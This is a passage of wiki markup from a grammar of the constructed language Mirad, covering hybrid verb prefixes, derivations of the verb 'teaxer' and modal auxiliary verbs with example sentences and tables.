=== Expressing a brief action with '''yog-''' (''short'') ===
::* '''drer'''....''to write'' → '''&lt;u&gt;yog&lt;/u&gt;drer'''....''to abbreviate''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;yog&lt;/u&gt;teaxer'''....''to glance at''
::* '''tujer'''....''to sleep'' → '''&lt;u&gt;yog&lt;/u&gt;tujer'''....''to snooze, nap''
::* '''gobler'''....''to cut'' → '''&lt;u&gt;yog&lt;/u&gt;gobler'''....''to cut short, truncate''

=== Some Hybrid Prefixes ===
The prefix '''kui-''' is a hybrid of '''ku-''' (''lateral'') and '''ki-''' (''diagonal'')

::* '''per'''....''to go'' → '''&lt;u&gt;kui&lt;/u&gt;per'''....''to wobble''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;kui&lt;/u&gt;tyoper'''....''to limp''

The prefix '''zao-''' is a truncated hybrid of '''zay-''' (''forward'') and '''zoy-''' (''backwards''), eg:

::* '''baser'''....''to move'' → '''&lt;u&gt;zao&lt;/u&gt;baser'''....''to rock''
::* '''per'''....''to go'' → '''&lt;u&gt;zao&lt;/u&gt;per'''....''to alternate''
::* '''beler'''....''to carry'' → '''&lt;u&gt;kui&lt;/u&gt;beler'''....''to shuttle, ferry''
::* '''pyoser'''....''to fall'' → '''&lt;u&gt;kui&lt;/u&gt;pyoser'''....''to pendulate''

The prefix '''yaob-''' is a hybrid of '''yab-''' (''up'') and '''yob-''' (''down'').  The final '''b-''' is assimilated or dropped before a '''b''' or '''p'''.

::* '''baser'''....''to move'' → '''&lt;u&gt;yao&lt;/u&gt;baser'''....''to bob''
::* '''per'''....''to go'' → '''&lt;u&gt;yao&lt;/u&gt;per'''....''to heave''
::* '''beler'''....''to carry'' → '''&lt;u&gt;yao&lt;/u&gt;beler'''....''to shuttle, ferry''
::* '''peper'''....''to ride'' → '''&lt;u&gt;yao&lt;/u&gt;peper'''....''to jounce''
::* '''puser'''....''to jump'' → '''&lt;u&gt;yao&lt;/u&gt;puser'''....''to hop, bounce''

The prefix '''bui-''' is a hybrid of '''bu-''' (''to'') and '''bi-''' (''from''), eg:

::* '''drer'''....''to write'' → '''&lt;u&gt;bui&lt;/u&gt;drer'''....''to correspond''
::* '''-er'''....''to x'' → '''&lt;u&gt;bui&lt;/u&gt;er'''....''to trade''
::* '''beler'''....''to carry'' → '''&lt;u&gt;bui&lt;/u&gt;beler'''....''to shuttle, ferry''
::* '''xer'''....''to do'' → '''&lt;u&gt;bui&lt;/u&gt;xer'''....''to push and pull, spring''
::* '''poper'''....''to travel'' → '''&lt;u&gt;bui&lt;/u&gt;poper'''....''to travel to and fro, travel round trip''

The prefix '''uiz-''' is a hybrid of '''uz-''' (''crooked'') and '''iz-''' (''straight''), eg:

::* '''drer'''....''to write'' → '''&lt;u&gt;uiz&lt;/u&gt;drer'''....''to squiggle''
::* '''der'''....''to say'' → '''&lt;u&gt;uiz&lt;/u&gt;der'''....''to equivocate''
::* '''baser'''....''to move'' → '''&lt;u&gt;uiz&lt;/u&gt;baser'''....''to wiggle, to squirm''
::* '''per'''....''to go'' → '''&lt;u&gt;uiz&lt;/u&gt;per'''....''to careen, reel''
::* '''paser'''....''to move'' → '''&lt;u&gt;uiz&lt;/u&gt;paser'''....''to swerve, yaw''

The prefix '''zui-''' is a hybrid of '''zu-''' (''left'') and '''zi-''' (''right''), eg:

::* '''drer'''....''to write'' → '''&lt;u&gt;uiz&lt;/u&gt;drer'''....''to squiggle''
::* '''buxer'''....''to push'' → '''&lt;u&gt;zui&lt;/u&gt;buxer'''....''to push around''
::* '''baser'''....''to move'' → '''&lt;u&gt;zui&lt;/u&gt;baser'''....''to sway, totter''
::* '''per'''....''to go'' → '''&lt;u&gt;zui&lt;/u&gt;per'''....''to zigzag''
::* '''pasler'''....''to shake'' → '''&lt;u&gt;zui&lt;/u&gt;pasler'''....''to wobble''

The prefix '''aoyeb-''' is a hybrid of '''(a)yeb-''' (''in'') and '''oyeb-''' (''out''), eg:

::* '''ber'''....''to put'' → '''&lt;u&gt;aoye&lt;/u&gt;ber'''....''to insert and extract''
::* '''tiexer'''....''to breathe'' → '''&lt;u&gt;aoye&lt;/u&gt;tiexer'''....''to breath in and out''
::* '''paper'''....''to fly'' → '''&lt;u&gt;aoye&lt;/u&gt;paper'''....''to fly in and out''

The prefix '''aob-''' is a hybrid of '''ab-''' (''on'') and '''ob-''' (''off''), eg:

::* '''ber'''....''to put'' → '''&lt;u&gt;ao&lt;/u&gt;ber'''....''to put on and off''
::* '''per'''....''to go'' → '''&lt;u&gt;ao&lt;/u&gt;per'''....''to get on and off, embark and disembark''

The prefix '''vao-''' is a hybrid of '''va-''' (''yes'') and '''vo-''' (''no''), eg:

::* '''der'''....''to say'' → '''&lt;u&gt;vao&lt;/u&gt;der'''....''to decide''
::* '''daler'''....''to talk'' → '''&lt;u&gt;vao&lt;/u&gt;daler'''....''to waffle''
::* '''duder'''....''to answer'' → '''&lt;u&gt;vao&lt;/u&gt;duder'''....''to answer yes or no''
::* '''kyaxer'''....''to change'' → '''&lt;u&gt;vao&lt;/u&gt;kyaxer'''....''to redact''
::* '''texer'''....''to think'' → '''&lt;u&gt;vao&lt;/u&gt;texer'''....''to deliberate, vacillate''

The prefix '''uij''' is a hybrid of '''uj-''' (''end'') and '''ij-''' (''begin'')

::* '''ber'''....''to put'' → '''&lt;u&gt;uij&lt;/u&gt;ber'''....''to switch off and on''
::* '''daler'''....''to talk'' → '''&lt;u&gt;uij&lt;/u&gt;daler'''....''to stutter''

The prefix '''yuij''' is a hybrid of '''yuj-''' (''close'') and '''yij-''' (''open'')

::* '''ber'''....''to put'' → '''&lt;u&gt;yuij&lt;/u&gt;ber'''....''to open and close, blink''

The prefix '''huim''' is a hybrid of '''hum''' (''there'') and '''him''' (''there'')

::* '''paper'''....''to fly'' → '''&lt;u&gt;huim&lt;/u&gt;paper'''....''to fly here and yon''
::* '''per'''....''to go'' → '''&lt;u&gt;huim&lt;/u&gt;per'''....''to wander''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;huim&lt;/u&gt;kexer'''....''to search high and low''

=== Different Nuances of '''teaxer''' with Prefixes ===
&lt;div style=&quot;background: lightyellow;{{Text default color}}; border: solid blue 2px; {{column-count|3}};{{column-rule|2px solid blue}};font-size:smaller;&quot;;&gt;
::* '''teaxer'''....''to look, behold, regard''
::* '''aybteaxer'''....''to supervise, look over''
::* '''ajteaxer'''....''to look back on (retrospect)''
::* '''eynteaxer'''....''to squint''
::* '''fizteaxer'''....''to respect''
::* '''fuzteaxer'''....''to disrespect''
::* '''gawteaxer'''....''to review, re-look''
::* '''hyuitteaxer'''....''to look at one another''
::* '''ibteaxer'''....''to ignore''
::* '''igteaxer'''....''to glance, glimpse''
::* '''ifteaxer'''....''to marvel at''
::* '''izteaxer'''....''to view directly, confront, aim''
::* '''jateaxer'''....''to preview''
::* '''jeteaxer'''....''to watch, observe''
::* '''joteaxer'''....''to review''
::* '''kateaxer'''....''to look for''
::* '''keteaxer'''....''to scan''
::* '''kiteaxer'''....''to look askance''
::* '''koteaxer'''....''to peek, spy''
::* '''kozyeteaxer'''....''to peep''
::* '''kozyoteaxer'''....''to peer''
::* '''kuteaxer'''....''to observe''
::* '''kyeteaxer'''....''to browse''
::* '''kyoteaxer'''....''to stare, glare''
::* '''oteaxer'''....''to ignore, overlook''
::* '''ufteaxer'''....''to glare, leer''
::* '''ugteaxer'''....''to gaze''
::* '''yagteaxer'''....''to gape, gawk''
::* '''yebteaxer'''....''to inspect''
::* '''yibteaxer'''....''to view from afar''
::* '''yogteaxer'''....''to glance at''
::* '''yokteaxer'''....''to get a glimpse of''
::* '''yubteaxer'''....''to examine''
::* '''yuibteaxer'''....''to look near and far''
::* '''yuzteaxer'''....''to look around, circumspect''
::* '''yanteaxer'''....''to view together''
::* '''yizteaxer'''....''to look beyond, overlook''
::* '''vyateaxer'''....''to investigate, check out''
::* '''vyoteaxer'''....''to view wrongly''
::* '''zateaxer'''....''to face, confront''
::* '''zayteaxer'''....''to look ahead, expect''
::* '''zoyteaxer'''....''to look back''
::* '''zeyteaxer'''....''to look across''
::* '''ziteaxer'''....''to look to the right''
::* '''zuteaxer'''....''to look to the left''
::* '''zuiteaxer'''....''to look right and left''
::* '''zyateaxer'''....''to look all over, survey''
::* '''zyeteaxer'''....''to look through, peruse''
::* '''zyoteaxer'''....''to squint''
::* '''yobteaxer'''....''to look down''
::* '''yaobteaxer'''....''to look up and down''
::* '''zaoteaxer'''....''to look back and forth''
::* '''yabteaxer'''....''to look up''
::* '''yubketeaxer'''....''to pry''
::* '''uzteaxer'''....''to look indirectly at''
::* '''oyebteaxer'''....''to look out''
::* '''ojteaxer'''....''to peer into the future''
::* '''marteaxer'''....''to star-gaze''
::* '''tabteaxer'''....''to autopsy''
&lt;/div&gt;

== Modal Verbs ==
: Modal verbs are auxiliary verbs that are usually followed by the main verb in the infinitive or a subjunctive dependent clause and have to do with wanting, permitting, prohibiting, being able, being unable, needing, being obliged to do something, etc. 
==== Principal Modal Auxiliary Verbs ====
[[File:Ladies Should Listen poster.jpg|thumb|]]
: Mirad has a set of modal auxiliary verbs that can be followed by a main verb in the infinitive mode.  This is very much like English modal auxiliary verbs in the following examples:
::* ''I &lt;u&gt;want&lt;/u&gt; to go.''
::* ''You &lt;u&gt;must&lt;/u&gt; wait.''
::* ''You &lt;u&gt;may&lt;/u&gt; stay.''
::* ''I &lt;u&gt;dare&lt;/u&gt; say.''

: Here is a chart showing the main modal auxiliary verbs in Mirad:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Principle Modal Auxiliary Verbs
|-
! Type !! Positive !! Negative
|-
! Permission
| '''afer'''....''may''&lt;br&gt;'''ayfer'''....''might'' || '''ofer'''....''may not''&lt;br&gt;'''oyfer'''....''might not''
|-
! Ability
| '''yafer'''....''can''||'''yofer'''....''cannot''
|-
! Need 
| '''efer'''....''need to'' ||
|-
! Obligation
| '''yefer'''....''must''&lt;br&gt;'''yeyfer'''....''should'' ||'''oyefer'''....''must not''&lt;br&gt;'''oyeyfer'''....''should not''
|-
! Desire 
| '''fer'''....''want to'' ||
|-
! Enjoyment 
| '''ifer'''....''love to, enjoy''&lt;br&gt;'''iyfer'''....''like to'' || '''ufer'''....''hate to''&lt;br&gt;'''uyfer'''....''dislike to''
|-
! Courage
|'''yifer'''....''dare to'' || '''yufer'''....''be afraid to, fear''
|-
! Liberty
| '''yiver'''....''have a right to, be free to'' ||  '''yuver'''....''be bound to, be supposed to''
|-
! Expectation
| '''yaker'''....''expect to'' || '''yoker'''....''be surprised to''
|-
! Conation
| '''yeker'''....''try to'' || 
|-
! Difficulty
| '''yiker'''....''to find it hard to'' || '''yuker'''....''to find it easy to''
|}

: These modal auxiliary verbs are often followed by a verbal infinitive, as in the following examples:
::* '''At fe &lt;u&gt;ter&lt;/u&gt;.'''....''I want &lt;u&gt;to know&lt;/u&gt;.''
::* '''Wit yifa &lt;u&gt;yeper&lt;/u&gt;.'''....''He dared &lt;u&gt;to enter&lt;/u&gt;.''
::* '''Yat yafe &lt;u&gt;teater&lt;/u&gt; yet.'''....''We can &lt;u&gt;see&lt;/u&gt; you.''
::* '''Duven et yaka &lt;u&gt;aker&lt;/u&gt;?'''....''Did you expect &lt;u&gt;to win&lt;/u&gt;?''
::* '''Diwe yeku &lt;u&gt;xer&lt;/u&gt; ga fi.'''....''Please try &lt;u&gt;to do&lt;/u&gt; better.''

: If the modal verb is in the hypothetical aspect (conditional), then the sense is somewhat mitigated, as in these examples:

:* '''At &lt;u&gt;fe&lt;/u&gt; per.'''....''I &lt;u&gt;want&lt;/u&gt; to go.''
:* '''At &lt;u&gt;fu&lt;/u&gt; per.'''....''I &lt;u&gt;would&lt;/u&gt; like to go.''

:* '''Et &lt;u&gt;yafe&lt;/u&gt; aker.'''....''You &lt;u&gt;can&lt;/u&gt; win.''
:* '''Et &lt;u&gt;yafu&lt;/u&gt; aker.'''....''You &lt;u&gt;could&lt;/u&gt; win.''

:* '''Yet &lt;u&gt;yefe&lt;/u&gt; iper.'''....''You &lt;u&gt;must&lt;/u&gt; leave.''
:* '''Yet &lt;u&gt;yefu&lt;/u&gt; iper.'''....''You &lt;u&gt;ought&lt;/u&gt; to leave.''

: Post-y-gliding the stem vowel of the modal verb also reduces the strength, for example:

:* '''At &lt;u&gt;ife&lt;/u&gt; et.''' ....''I &lt;u&gt;love&lt;/u&gt; you.''
:* '''At &lt;u&gt;iyfe&lt;/u&gt; et.''' ....''I &lt;u&gt;like&lt;/u&gt; you.''

:* '''Et &lt;u&gt;yefe&lt;/u&gt; iper.'''....''You &lt;u&gt;must&lt;/u&gt; leave.''
:* '''Et &lt;u&gt;yeyfe&lt;/u&gt; iper.'''....''You &lt;u&gt;should&lt;/u&gt; leave.''

:* '''Iyt &lt;u&gt;yafe&lt;/u&gt; aker.'''....''She &lt;u&gt;can&lt;/u&gt; win.''
:* '''Iyt &lt;u&gt;yayfe&lt;/u&gt; aker.'''....''She &lt;u&gt;might&lt;/u&gt; win.''

:* '''At &lt;u&gt;ufa&lt;/u&gt; uda tuz.'''....''I &lt;u&gt;hated&lt;/u&gt; that art.''
:* '''At &lt;u&gt;uyfa&lt;/u&gt; uda tuz.'''....''I &lt;u&gt;disliked&lt;/u&gt; that art.''

: The use of '''l''' and '''r''' intensify the meaning of the auxiliary verbs, eg:

:* '''Et &lt;u&gt;yuve&lt;/u&gt; puer jwe.'''....''You &lt;u&gt;are supposed&lt;/u&gt; to arrive on time.''
:* '''Et &lt;u&gt;yuvle&lt;/u&gt; tepzexer.'''....''You &lt;u&gt;have&lt;/u&gt; to pay attention.''
:* '''Et &lt;u&gt;yuvre&lt;/u&gt; buer nas.'''....''You &lt;u&gt;absolutely must&lt;/u&gt; give money.''

:* '''At &lt;u&gt;yeka&lt;/u&gt; ser yeva.'''....''I &lt;u&gt;tried&lt;/u&gt; to be fair.''
:* '''At &lt;u&gt;yekla&lt;/u&gt; ujber jwa.'''....''I &lt;u&gt;strove&lt;/u&gt; to finish early.''
:* '''At &lt;u&gt;yekra&lt;/u&gt; nixer ga nas.'''....''I &lt;u&gt;struggled (= worked hard))&lt;/u&gt; to earn more money.''

:* '''Iyt &lt;u&gt;ife&lt;/u&gt; eker zyun.'''....''She &lt;u&gt;loves&lt;/u&gt; to play ball.''
:* '''Iyt &lt;u&gt;ifla&lt;/u&gt; teater et.'''....''She &lt;u&gt;was delighted&lt;/u&gt; to see you.''
:* '''Iyt &lt;u&gt;ifre&lt;/u&gt; teaper him.'''....''She &lt;u&gt;adores&lt;/u&gt; visiting here.''

: Here are some examples showing how these modal verbs are used as auxiliaries:

::* '''Et &lt;u&gt;afe&lt;/u&gt; oyeper ay ifeker.'''....''You &lt;u&gt;may&lt;/u&gt; go out and play.''
::* '''Yat &lt;u&gt;efa&lt;/u&gt; tujer.'''....''We &lt;u&gt;needed&lt;/u&gt; to sleep.''
::* '''Ot &lt;u&gt;ofe&lt;/u&gt; mavier him.'''....''One &lt;u&gt;is prohibited&lt;/u&gt; to smoke here.''
::* '''Mavier him &lt;u&gt;ofwe&lt;/u&gt;.'''....''Smoking here is prohibited.''
::* '''At &lt;u&gt;ife&lt;/u&gt; dyeer.'''....''I &lt;u&gt;love&lt;/u&gt; to read.''
::* '''Duven et &lt;u&gt;fe&lt;/u&gt; yeper?'''....''Do you &lt;u&gt;want&lt;/u&gt; to come in?''
::* '''At &lt;u&gt;fu&lt;/u&gt; teaper et edjub.'''....''I &lt;u&gt;would like&lt;/u&gt; to visit you some day.''
::* '''It &lt;u&gt;ufaye hyaj&lt;/u&gt; teaxwer.'''....''He &lt;u&gt;has always hated&lt;/u&gt; being looked at.''
::* '''Duven et &lt;u&gt;iyfe&lt;/u&gt; per tilami?'''....''Do you &lt;u&gt;like&lt;/u&gt; going to bars?''
::* '''At &lt;u&gt;uyfe&lt;/u&gt; tijer gra jwa.'''....''I &lt;u&gt;dislike&lt;/u&gt; waking up too early.''
::* '''Et &lt;u&gt;yafe&lt;/u&gt; xer hyehos et fu.'''....''You &lt;u&gt;can&lt;/u&gt; do whatever you like.''
::* '''Et &lt;u&gt;yefer&lt;/u&gt; xer ad vyaas.'''....''You &lt;u&gt;must&lt;/u&gt; do the right thing.''
::* '''Et &lt;u&gt;yeyfe&lt;/u&gt; voy daler huuyen azay.'''....''You &lt;u&gt;should&lt;/u&gt; not talk so loud.''
::* '''At &lt;u&gt;yeyfa&lt;/u&gt; ter ga fi.'''....''I &lt;u&gt;should have&lt;/u&gt; known better.''
::* '''At &lt;u&gt;voy yifu&lt;/u&gt; der hyea fuas.'''....''I &lt;u&gt;would not dare&lt;/u&gt; say anything bad.''
::* '''&lt;u&gt;Von yufu&lt;/u&gt; der hos et tesde.'''....''&lt;u&gt;Don't be afraid&lt;/u&gt; to say what you mean.''
::* '''Et &lt;u&gt;yive&lt;/u&gt; dier yevanavdut.'''....''You &lt;u&gt;have a right&lt;/u&gt; to ask for a lawyer.''
::* '''Yat &lt;u&gt;voy yuvle&lt;/u&gt; kyoejer.'''....''We &lt;u&gt;are not bound&lt;/u&gt; to stick around.''

=== Subject-oriented vs. Patient-oriented Modal Verb Forms ===

:: All of these modal verbs can be passive, in which case they are &quot;patient-oriented&quot; rather than &quot;subject-oriented.&quot; The participial adjective '''yafa'''....''able'' is subject-oriented and refers to a person, whereas the passived adjective '''yafwa'''....''possible'' is patient-oriented and refers to a thing or event. Here is a chart of the principal modal verbs and corresponding participial adjectives with this subject/object-orientation distinction shown:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Subject-oriented vs. Patient-oriented Modal Verb Forms
|-
! Modal Type || Subject-oriented !! Subject-oriented !! Patient-oriented !! Patient-oriented
|-
! !! Verb !! Adjective !! Verb !! Adjective
|-
!row=1| Permission
| '''afer'''&lt;br&gt;''may'' || '''afa'''&lt;br&gt;''allowed'' || '''afwer'''&lt;br&gt;''be permitted'' || '''afwa'''&lt;br&gt;''permissable''
|-
!row=1| Necessity 
| '''efer'''&lt;br&gt;''need'' || '''efa'''&lt;br&gt;''needful'' || '''efwer'''&lt;br&gt;''be necessary'' || '''efwa'''&lt;br&gt;''necessary, required''
|-
!row=1| Prohibition
| '''ofer'''&lt;br&gt;''be unallowed'' || '''ofa'''&lt;br&gt;''prohibited'' || '''ofwer'''&lt;br&gt;''be prohibited'' || '''ofwa'''&lt;br&gt;''banned''
|-
!row=1| Possibility
| '''yafer'''&lt;br&gt;''be able'' || '''yafa'''&lt;br&gt;''able'' || '''yafwer'''&lt;br&gt;''be possible'' || '''yafwa'''&lt;br&gt;''possible''
|-
!row=1| Obligation
| '''yefer'''&lt;br&gt;''must'' || '''yefa'''&lt;br&gt;''obliged'' || '''yefwer'''&lt;br&gt;''be obligatory'' || '''yefwa'''&lt;br&gt;''obligatory''
|-
!row=1| Duty 
| '''yeyfer'''&lt;br&gt;''should'' || '''yeyfa'''&lt;br&gt;''supposed, duty-bound'' || '''yeyfwer'''&lt;br&gt;''be supposed'' || '''yeyfwa'''&lt;br&gt;''due''
|-
!row=1| Impossibility
| '''yofer'''&lt;br&gt;''be unable'' || '''yofa'''&lt;br&gt;''unable'' || '''yofwer'''&lt;br&gt;''be impossible'' || '''yofwa'''&lt;br&gt;''impossible''
|-
!row=1| Volition
| '''fer'''&lt;br&gt;''want'' || '''fa'''&lt;br&gt;''desirous'' || '''fwer'''&lt;br&gt;''be desirable'' || '''fwa'''&lt;br&gt;''desirable, wanted''
|-
!row=1| Love 
| '''ifer'''&lt;br&gt;''love''&lt;br&gt;'''iyfer'''&lt;br&gt;''like'' || '''ifa'''&lt;br&gt;''enamored''&lt;br&gt;'''iyfa'''&lt;br&gt;''fond'' || '''ifwer'''&lt;br&gt;''be loved''&lt;br&gt;'''iyfwer'''&lt;br&gt;''be liked'' || '''ifwa'''&lt;br&gt;''lovable''&lt;br&gt;'''iyfwa'''&lt;br&gt;''likeable''
|-
!row=1| Hate 
| '''ufer'''&lt;br&gt;''hate''&lt;br&gt;'''uyfer'''&lt;br&gt;''dislike'' || '''ufa'''&lt;br&gt;''averse''&lt;br&gt;'''uyfa'''&lt;br&gt;''displeased''|| '''ufwer'''&lt;br&gt;''be hated''&lt;br&gt;'''uyfwer'''&lt;br&gt;''be disliked'' || '''ufwa'''&lt;br&gt;''odious''&lt;br&gt;''unliked''
|-
!row=1| Courage 
| '''yifer'''&lt;br&gt;''dare'' || '''yifa'''&lt;br&gt;''daring, brave'' || '''yifwer'''&lt;br&gt;''be safe'' || '''yifwa'''&lt;br&gt;''safe''
|-
!row=1| Fear 
| '''yufer'''&lt;br&gt;''be afraid'' || '''yufa'''&lt;br&gt;''afraid'' || '''yufwer'''&lt;br&gt;''be a danger'' || '''yufwa'''&lt;br&gt;''frightening''
|-
!row=1| Joy 
| '''iver'''&lt;br&gt;''enjoy'' || '''iva'''&lt;br&gt;''glad'' || '''ivwer'''&lt;br&gt;''be a joy'' || '''ivwa'''&lt;br&gt;''enjoyable''
|-
!row=1| Sorrow
| '''uver'''&lt;br&gt;''be sorry'' || '''uva'''&lt;br&gt;''sorry, sad'' || '''uvwer'''&lt;br&gt;''be a shame'' || '''uvwa'''&lt;br&gt;''regrettable''
|}

: Examples of subject-oriented forms:

::* '''At se &lt;u&gt;yafa&lt;/u&gt; xer hes.'''....''I &lt;u&gt;am capable of&lt;/u&gt; doing anything.''
::* '''Et &lt;u&gt;ofe&lt;/u&gt; teater hia dyezun.'''....''You &lt;u&gt;are not allowed/are prohibited&lt;/u&gt; to see this film.''
::* '''Duven at &lt;u&gt;afe&lt;/u&gt; per hum?'''....''Am I &lt;u&gt;allowed&lt;/u&gt; to go there?''
::* '''Yat &lt;u&gt;fu&lt;/u&gt; ter eta dyun.'''....''We &lt;u&gt;would like&lt;/u&gt; to know your name.''
::* '''Piti &lt;u&gt;ufe&lt;/u&gt; beser be mel.'''....''Fish &lt;u&gt;hate&lt;/u&gt; to remain on dry land.''
::* '''At ajay &lt;u&gt;ifa&lt;/u&gt; dazer.'''....''I once &lt;u&gt;loved&lt;/u&gt; to dance.''
::* '''Et se iva, at &lt;u&gt;yife&lt;/u&gt; der.'''....''You are beautiful, I &lt;u&gt;dare&lt;/u&gt; say.''
::* '''At &lt;u&gt;yeyfa&lt;/u&gt; xer has ga ig.'''....''I &lt;u&gt;should&lt;/u&gt; have done it sooner.''
::* '''Von &lt;u&gt;yufu&lt;/u&gt;; At yupeye.'''....''&lt;u&gt;Fear&lt;/u&gt; not; I am coming.''
::* '''Et &lt;u&gt;yefe&lt;/u&gt; puer ja eymaj.'''....''You &lt;u&gt;must&lt;/u&gt; arrive before noon.''
::* '''Yet &lt;u&gt;yofe&lt;/u&gt; daler je ha dezun.'''....''You people &lt;u&gt;must not&lt;/u&gt; talk during the performance.''
::* '''Yat &lt;u&gt;yeyfe&lt;/u&gt; (= se &lt;u&gt;yeyfa&lt;/u&gt;) aker.'''....''We should (= are &lt;u&gt;bound/supposed/due&lt;/u&gt;) to win.''
::* '''At &lt;u&gt;ive&lt;/u&gt; teater et bakser.'''....''I&lt;u&gt;'m glad&lt;/u&gt; to see you get better.''
::* '''Su &lt;u&gt;iva&lt;/u&gt;.'''....''Be &lt;u&gt;happy&lt;/u&gt;.''
::* '''At &lt;u&gt;uvu (= su uva)&lt;/u&gt; teater et iper.'''....''I &lt;u&gt;would be sad&lt;/u&gt; to see you leave.''

: Examples of patient-oriented forms:

::* '''&lt;u&gt;Afwe&lt;/u&gt; (= se afwa) mavier him.'''....''&lt;u&gt;It is permissible&lt;/u&gt; to smoke here.''
::* '''&lt;u&gt;Ofwe&lt;/u&gt; (= se ofwa*) puxer fyumul him.'''....''&lt;u&gt;It is prohibited&lt;/u&gt; to throw litter here.''
::* '''&lt;u&gt;Fwe&lt;/u&gt; (= se fwa) van yet dolu.'''....''&lt;u&gt;It is desired&lt;/u&gt; that you stop talking.''
::* '''&lt;u&gt;Voy yafwe&lt;/u&gt; beser him gajob.'''....''&lt;u&gt;It is not possible&lt;/u&gt; to remain here any longer.''
::* '''&lt;u&gt;Yofwa&lt;/u&gt; av at ivteuder.'''....''&lt;u&gt;It was not possible&lt;/u&gt; for me to laugh.''
::* '''&lt;u&gt;Yefwe&lt;/u&gt; van et piu ig.'''....''&lt;u&gt;It is essential&lt;/u&gt; that you leave quickly.''
::* '''He &lt;u&gt;yeyfwe&lt;/u&gt; ober ata tyoyafi?'''....''Is &lt;u&gt;it obligatory&lt;/u&gt; to remove my shoes?''
::* '''Ga yux &lt;u&gt;efwo&lt;/u&gt;.'''....''More help &lt;u&gt;will be needed&lt;/u&gt;.''
::* '''Yuxren se &lt;u&gt;ufwa&lt;/u&gt; xetyen.'''....''Slavery is an &lt;u&gt;odious&lt;/u&gt; practice.''
::* '''&lt;u&gt;Uvwe&lt;/u&gt; van wit oka.'''....''&lt;u&gt;It's a shame&lt;/u&gt; that he lost.''

:: *&lt;small&gt;'''lofwa''' is used for ''unwanted'' for disambiguation purposes.&lt;/small&gt;

=== Deriving Causatives from Modal Stems ===

: Various causative verbs can be formed from modal stems, as shown in the chart below:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Deriving Causatives from Modal Stems
|-
! Subject-oriented !! Patient-oriented
|-
| '''afxer'''....''allow'' (someone to do sthg.) || '''afwaxer'''....''permit'' (something to be done)
|-
| '''efxer'''....''require'' || '''efwaxer'''....''necessitate''
|-
| '''ofxer'''....''prohibit'' || '''ofwaxer'''....''prohibit''
|-
| '''yafxer'''....''enable'' || '''yafwaxer'''....''make possible''
|-
| '''yefxer'''....''oblige'' || '''yefwaxer'''....''make obligatory''
|-
| '''yofxer'''....''cripple'' || '''yofwaxer'''....''disable''
|-
| '''yifxer'''....''embolden'' || '''yifwaxer'''....''make safe''
|-
| '''yufxer'''....''intimidate'' || '''yufwaxer'''....''make frightening''
|-
| '''ifxer'''....''please'' || '''ifwaxer'''....''make pleasant''
|}

=== Creating Modal Verbs and Adjectives with Modal Stem Suffixes ===

: Verb stems can be suffixed with modal participles to produce related modal verbs and adjectives.  The first chart shows the modal participles themselves that can be suffixed to verb stems.  Subject-oriented forms refer only to people, while patient-oriented forms (ending in '''-wa''') refer only to things.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Modal Suffixes
|-
! Subject-oriented !! Patient-oriented
|-
| '''-yafa'''....''able to X, -able'' || '''-yafwa'''....''possible to X''
|-
| '''-yofa'''....''unable to X'' || '''-yofwa'''....''impossible to X''
|-
| '''-ifa'''....''fond of Xing, Xophile'' || '''-ifwa'''....''enjoyable to X''
|-
| '''-ufa'''....''averse to Xing, Xophobic'' ||'''-ufwa'''....''unenjoyable to X''
|-
| '''-yika'''....''hard of Xing'' || '''-yikwa'''....''hard to X'' 
|-
| '''-yuka'''....''comfortable/easy Xing'' || '''-yukwa'''....''easy to X''
|-
| '''-yaka'''....''expecting to X'' || '''yakwa'''....''expected/likely to X''
|-
| '''-efa'''....''in need of Xing'' || '''-efwa'''....''necessary to X''
|-
| '''-yefa'''....''obliged to X'' || '''-yefwa'''....''obligatory/due to X''
|-
| '''-yufa'''....''afraid of Xing'' || '''-yufwa'''....''frightening to X''
|}

: This table shows some of these modal suffixes applied to actual verb and noun stems:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Modals and Orientation
|-
! Orientation !! Positive Adjective !! Positive Verb !! Negative Adjective !! Negative Verb
|-
!row=1| '''Subject''' 
| '''teatyafa'''&lt;br&gt;''able to see, sighted'' || '''teatyafer'''&lt;br&gt;''be able to see'' || '''teatyofa'''&lt;br&gt;''blind'' || '''teatyofer'''&lt;br&gt;''be blind''
|-
!row=1| '''Patient''' 
| '''teatyafwa'''&lt;br&gt;''visible'' || '''teatyafwer'''&lt;br&gt;''be visible'' || '''teatyofwa'''&lt;br&gt;''invisible'' || '''teatyofwer'''&lt;br&gt;''be invisible''
|-
!row=1| '''Subject''' 
| '''teetyafa'''&lt;br&gt;''able to hear, hearing'' || '''teetyafer'''&lt;br&gt;''be able to hear'' || '''teetyofa'''&lt;br&gt;''deaf'' || '''teatyofer'''&lt;br&gt;''be deaf''
|-
!row=1| '''Patient''' 
| '''teetyafwa'''&lt;br&gt;''audible'' || '''teetyafwer'''&lt;br&gt;''be audible'' || '''teeyofwa'''&lt;br&gt;''inaudible'' || '''teeyofwer'''&lt;br&gt;''be inaudiable''
|-
!row=1| '''Subject''' 
| '''dalyafa'''&lt;br&gt;''able to speak'' || '''dalyafer'''&lt;br&gt;''be able to speak'' || '''dalyofa'''&lt;br&gt;''mute, dumb'' || '''dalyofer'''&lt;br&gt;''be mute, dumb''
|-
!row=1| '''Subject''' 
| '''doabifa'''&lt;br&gt;''patriotic'' || '''doabifer'''&lt;br&gt;''be patriotic'' || '''doabufa'''&lt;br&gt;''rebellious'' || '''doabufer'''&lt;br&gt;''rebel'' 
|-
!row=1| '''Subject''' 
| '''tosyafa'''&lt;br&gt;''sensitive'' || '''tosyafer'''&lt;br&gt;''be able to feel'' || '''tosyofa'''&lt;br&gt;''insensitive'' || '''tosyofer'''&lt;br&gt;''be numbed''
|-
!row=1| '''Patient''' 
| '''tayotyafwa'''&lt;br&gt;''palpable'' || '''tayotyafwer'''&lt;br&gt;''be palpable'' || '''tayotyofwa'''&lt;br&gt;''numb'' || '''tayotyofwer'''&lt;br&gt;''be impalbable, numb''
|-
!row=1| '''Patient''' 
